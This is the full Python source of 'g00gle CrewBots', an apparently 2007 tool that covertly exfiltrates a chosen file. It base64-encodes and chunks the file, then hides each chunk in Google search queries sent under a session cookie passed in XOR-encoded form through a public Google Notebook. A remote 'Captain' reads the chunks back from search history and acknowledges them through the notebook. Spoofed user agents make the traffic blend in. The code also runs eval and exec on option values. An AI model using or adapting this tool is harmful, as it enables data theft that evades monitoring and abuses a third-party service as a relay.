#!/usr/bin/python
#
# g00gle CrewBots - v1.0 - http://gray-world.net
# Copyright (c) 2007, Matteo Memelli < matteo [gw] gray-world.net > and Gray World Team <team [at] gray-world.net>
#
# gcrewbot.py - v1.0
#

import sys, urllib, urllib2, time, httplib, base64
import pickle, xml.dom.minidom, os, operator
from optparse import OptionParser
from types import ListType

# Urls
URL_NBOOK       = 'http://www.google.com/notebook'
URL_SEARCH      = '/search?q=%s&btnI=&lr=%s'
URL_LOGIN       = 'https://www.google.com/accounts/ServiceLoginBoxAuth'
URL_HISTORY     = 'http://www.google.com/searchhistory/?%s'
URL_HISTORY_DEL = 'http://www.google.com/history/delete?ceh=1'
TOKEN_PAGE      = 'http://www.google.com/notebook/token'
HOST            = 'www.google.com'
LEN             = 186

# Compulsory variables
variables = [
             'uploadinterval'    ,
             'nbid'              ,
             'payload_length'    ,
             'filetoupload'      ,
             'db'                ,
             'seed'              ,
             'user_agent'        ,
             'verbose'           ,
            ]

# Config stuff
CONFIG = {
          'seed':                        'BATTLESHIP',
          'uploadinterval':                        10,
          'payload_length':                      2000, 
          'db':                              'gbotdb',  
          'user_agent':   'Mozilla/5.0 (compatible;)',  
          'verbose':                                1,
         }

def parseConfig(file):
   """Parses user's configuration file"""
   global parser
   if file:
      lines = file.readlines()
      for line in lines:
         key   = line.split("=")[0].strip().lower()
         value = line.split("=")[1].strip()
         CONFIG[key] = value
   for key in variables:
      if key not in CONFIG.keys():
         parser.print_help()
         sys.exit()  
   return

def parseOptions():
   """Parses user's command options"""
   global parser
   usage = "%prog -f interval -n notebook-url -u file-to-exfiltrate [options]"
   parser = OptionParser(usage=usage)
   parser.add_option("-c"                                       , 
                     "--config"                                 , 
                     type = "string"                            , 
                     dest = "configfile"                        ,
                     help = "Path to config file"               ,
                     metavar="FILE"
                    )
   parser.add_option("-f"                                       , 
                     "--upload-interval"                        , 
                     type = "int"                               , 
                     dest = "uploadinterval"                    ,
                     help = "Upload Interval in Seconds (default 10)"
                    )
   parser.add_option("-n"                                       , 
                     "--notebook-id"                            , 
                     type = "string"                            , 
                     dest = "nbid"                              ,
                     help = "Battleship Hold url"
                    )
   parser.add_option("-l"                                       , 
                     "--payload-length"                         , 
                     type = "string"                            , 
                     dest = "payload_length"                    ,
                     help = "Payload Length in byte (default: 2000)"
                    )
   parser.add_option("-u"                                       , 
                     "--file-to-upload"                         , 
                     type = "string"                            , 
                     dest = "filetoupload"                      ,
                     help = "File to Exfiltrate"                ,
                     metavar="FILE"
                    )
   parser.add_option("-d"                                       , 
                     "--db"                                     , 
                     type = "string"                            , 
                     dest = "db"                                ,
                     help = "base64 serialized db file (default: `gbotdb`)", 
                     metavar="FILE"
                    )
   parser.add_option("-a"                                       , 
                     "--user-agent"                             , 
                     type = "string"                            , 
                     dest = "user_agent"                        ,
                     help = "Chameleon Function: It must be a real " +\
                     "browser string otherwise g00gle won't store our queries" +\
                     " (default: `Mozilla`)" 
                    )
   parser.add_option("-q"                                       ,
                     "--seed-search"                            , 
                     type = "string"                            ,
                     dest = "seed"                              ,
                     help = "g00gle query string to gain cache seeds used to" +\
                     " xor the SID (default: `BATTLESHIP`)" 
                    )

   (options, args) = parser.parse_args()

   # Print help if parameters are incorrect
   # If we don't have a config file we try to read parameters from
   # user options.
   configfile = options.configfile

   if not configfile:
      # Parses user's input options
      for var in variables:
         try:
            if eval('options.' + var) is not None:
               exec(var + ' = "' + str(eval('options.' + var)) + '"')
               if not eval('var'):
                  parser.print_help()
               CONFIG[var] = eval(var)
         except AttributeError:
            pass
      parseConfig(False)
   else:
      try:
         file = open(configfile, 'r')
      except IOError,e:
         print "%s: %s (Errno:%d)" % (e.filename, e.strerror, e.errno)
         sys.exit()
      parseConfig(file)
      file.close()
   return

def stringXor(toxor, passwd):
   """Xors a string"""
   if len(toxor) < len(passwd):
      #print 'String and Passwd have different lengths\npadding string...'
      toxor = toxor + ' '*(len(passwd)-len(toxor)) 
   elif len(toxor) > len(passwd):
      print 'Not enough random chars to xor the string!'
      return 0
   xored = ''
   for i in range(0, len(toxor)):
      xored += chr(operator.xor(ord(toxor[i]), ord(passwd[i])))
   return base64.b64encode(xored)

def sidUnxor(tounxor, passwd):
   """UnXors AC"""
   try:
      tounxor = base64.b64decode(tounxor)
   except TypeError:
      if CONFIG['verbose']:
         print 'Incorrect Padding resulted in unxoring SID'
      return 0
   if len(tounxor) != len(passwd):
      #print 'String and Passwd have different lengths!'
      return 0 
   unxored = ''
   for i in range(0, len(tounxor)):
      unxored += chr(operator.xor(ord(tounxor[i]), ord(passwd[i])))
   return unxored

def exResume():
   """Resume from previous upload"""
   global CONFIG
   if CONFIG['verbose']:
      print 'Let\' see if we\'re resuming from a previous session...'
   try:
      os.stat(CONFIG['db'])
   except OSError: 
      if CONFIG['verbose']:
         print 'Nope...'
         print 'Map file `%s` does not exist' % CONFIG['db']
      return 0
   else:
      if CONFIG['verbose']:
         print 'Yep...'
         print 'Trying to open the Map file `%s`' % CONFIG['db']
      try:
         exfd = open(CONFIG['db'], 'r')
      except IOError:
         print 'Cannot access `%s` file' % CONFIG['db']
         return 0
      else:   
         try:
            CONFIG = pickle.load(exfd)
            payload = CONFIG['payload']
            seqs = payload.keys()
            seqs.sort()
            seq_res = 1
            for seq in seqs:
               if payload[seq][1] == 1:
                  seq_res = seq
         except EOFError:
            print '`%s` is an Empty file' % CONFIG['db']
            return 0
         exfd.close()
   if CONFIG['verbose']:
      print 'Resuming from map part number %d' % (seq_res+1)
   return seq_res+1

def exInitialize():
   try:
      file = open(CONFIG['filetoupload'], 'rb')
   except IOError:
      'Cannot open file %s' % CONFIG['filetoupload']
      sys.exit()
   else:
      bindata = file.read()
      file.close()
      try:
         b64data = base64.b64encode(bindata)
      except:
         'Cannot encode file in base64 format!'
         sys.exit()

   payload = {}
   seq     = 1
   count_c = 1
   count   = 1
   tmpstr  = ''
   
   if CONFIG['verbose']:
      print 'Building the Map...' 
   if len(b64data) > int(CONFIG['payload_length']):
      try:
         pl = int(CONFIG['payload_length'])
      except ValueError:
         print 'Error in configuration file: payload_length must be an `int`'
         sys.exit()
      for char in b64data:
         #if count < pl and count_c < len(b64data):
         if len(urllib.quote(tmpstr)) < pl and count_c < len(b64data):
            tmpstr += char
            count += 1
         else:
            tmpstr += char
            payload[seq] = [str(seq) + ':' + urllib.quote(tmpstr), 0]
            tmpstr = ''
            count  = 1
            seq += 1
         count_c += 1
   else:
      payload[seq] = [str(seq) + ':' + urllib.quote(b64data,), 0]
   
   CONFIG['payload'] = payload
   CONFIG['maxseq']  = seq

   try:
      exfd = open(CONFIG['db'], 'w') 
   except IOError: 
      print 'Cannot write to %s' % CONFIG['db']
   else:
      #pickle.dump(payload, exfd)
      pickle.dump(CONFIG, exfd)
   return

def seedFinder(q):
   """Finds the passwd to unxor the SID"""
   if CONFIG['verbose']:
      print 'Searching for g00gle seeds to decode the SID...'
   headers = {
              'Host':       HOST                ,
              'User-Agent': CONFIG['user_agent'],
             }
   url = '/search?q=%s&num=20' % q
   conn = httplib.HTTPConnection("www.google.com:80")
   conn.request("GET", url, '',headers)
   response = conn.getresponse()
   data = response.read()
   conn.close()
   seed = ''
   for line in data.split('a href'):
      if len(seed) < LEN:
         if line.find('cache:') != -1:
            seed += line.split('cache:')[1].split(':')[0].strip()
      else:
         break
   seed = seed[0:LEN]
   return seed

def exfiltrate(payload):
   headers = {
              'Host':       HOST                ,
              'User-Agent': CONFIG['user_agent'],
              'Cookie'    : CONFIG['Cookie']    ,
             }
   q = 'google'
   url = '/search?q=%s&btnI=&lr=%s' % (q, payload)
   if CONFIG['verbose']:
      print 'Trasmitting map part %s ...' % payload.split(':')[0]
   conn = httplib.HTTPConnection("www.google.com:80")
   #conn.set_debuglevel(10)
   conn.request("GET", url, '',headers)
   response = conn.getresponse()
   data = response.read()
   conn.close()
   return 

def captainCheck(seq):
   """Checks if Captain understood our replies"""
   data = urlLoad()
   if data.split(':')[0].strip() == str(seq) and data.split(':')[1].strip() == 'ACK':
      if CONFIG['verbose']:
         print 'Ok cApTain received the map part: %s' % data 
      return 1
   elif data.split(':')[0].strip() == str(seq) and data.split(':')[1].strip() == 'FIN':
      if CONFIG['verbose']:
         print 'Ok cApTain received the map part: %s' % data 
      return 1
   else:
      return 0

def feedtheCrew():
   """Serve breakfast to the hungry crew!"""
   data = urlLoad()
   SID = sidUnxor(data, CONFIG['PASSWD'])
   try:
      if SID[0:4] == 'SID=':
         CONFIG['Cookie'] = SID 
         return 1
   except TypeError:
      if CONFIG['verbose']:
         print 'This breakfast smells bad!: %s' % SID 
      return 0
   else:
      return 0

def syncConnection():
   """Syncronize Connections"""
   data = urlLoad() 
   if data.split(':')[0].strip() == '0' and data.split(':')[1].strip() == 'ACK':
      return 1
   else:
      return 0

def urlLoad():
   """Load Notebook URL using httplib"""
   headers = {
              'Host':       HOST                ,
              'User-Agent': CONFIG['user_agent'],
             }
   url = 'http://www.google.com/notebook/public' + CONFIG['nbid']
   conn = httplib.HTTPConnection("www.google.com:80")
   conn.request("GET", url, '', headers)
   response = conn.getresponse()
   data = response.read()
   try:
      data = data.split('<div class="PubNoteContentArea">')[1].\
             split('</div>')[0].strip()
   except IndexError:
      conn.close()
      return 0
   conn.close()
   return data

def breakfastLoop():
   """Gains SID to connect to the g00gle"""
   initialize = 1
   timer = time.time()
   while True:
      now = time.time()
      if now - timer >= int(CONFIG['uploadinterval']) or initialize:
         initialize = 0
         if feedtheCrew():
            if CONFIG['verbose']:
               print 'Serving Breakfast...'
            break
         else:
            if CONFIG['verbose']:
               print 'Not ready to serve breakfast yet! :('
         timer = now
   return

def theLoop(seq):
   """Main loop: gBot trasmit data to the Captain!"""
   timer = time.time()
   if not seq:
      seq        = 1
      start      = 1
      syn        = 0
   else:
      start = 0
      syn   = 1
   while True:
      now = time.time()
      if now - timer >= int(CONFIG['uploadinterval']):
         if start:
            # Handshake initialization
            if not syn:
               exfiltrate('0:SYN')
               syn = 1 
            if syncConnection():
               start = 0
               if CONFIG['verbose']:
                  print 'Pirate Flag is UP!'
         elif seq > len(CONFIG['payload']):
            if captainCheck(seq - 1):
               exfiltrate('%d:FIN' % seq)
               if CONFIG['verbose']:
                  print 'Captain received our treasure map!'
               break
         else:
            # Check that previous upload was received by the Captain 
            if seq > 1:
               if captainCheck(seq - 1):
                  CONFIG['payload'][seq-1][1] = 1
                  try:
                     exfd = open(CONFIG['db'], 'w') 
                  except IOError: 
                     print 'Cannot write to %s' % CONFIG['db']
                  else:
                     pickle.dump(CONFIG, exfd)
                  if CONFIG['verbose']:
                     print 'Loading the Battleship...'
                  exfiltrate(CONFIG['payload'][seq][0])
                  seq += 1
               else:
                  if CONFIG['verbose']:
                     print 'Argh! Captain did not understand or is not ready'
                     print 'Retrasmitting map part %d' % (seq-1)
                  exfiltrate(CONFIG['payload'][seq-1][0])
            else:
               if CONFIG['verbose']:
                  print 'Loading the Battleship...'
               exfiltrate(CONFIG['payload'][seq][0])
               seq += 1
         timer = now
      else:
         #print 'Sleeping', now - timer 
         time.sleep(1)
   if CONFIG['verbose']:
      print 'Preapring to haul down the Pirate Flag...'
   os.remove(CONFIG['db'])
   print 'Pirate Flag is DOWN!'

if __name__ == '__main__':
   """MAIN FUNCTION"""
   os.system('clear')
   parseOptions()

   # INIT AND AC STUFF
   seq = exResume()
   if not seq:
      #parseOptions()
      CONFIG['PASSWD'] = seedFinder(CONFIG['seed'])
      breakfastLoop()
      exInitialize()

   # MAIN LOOP
   theLoop(seq)
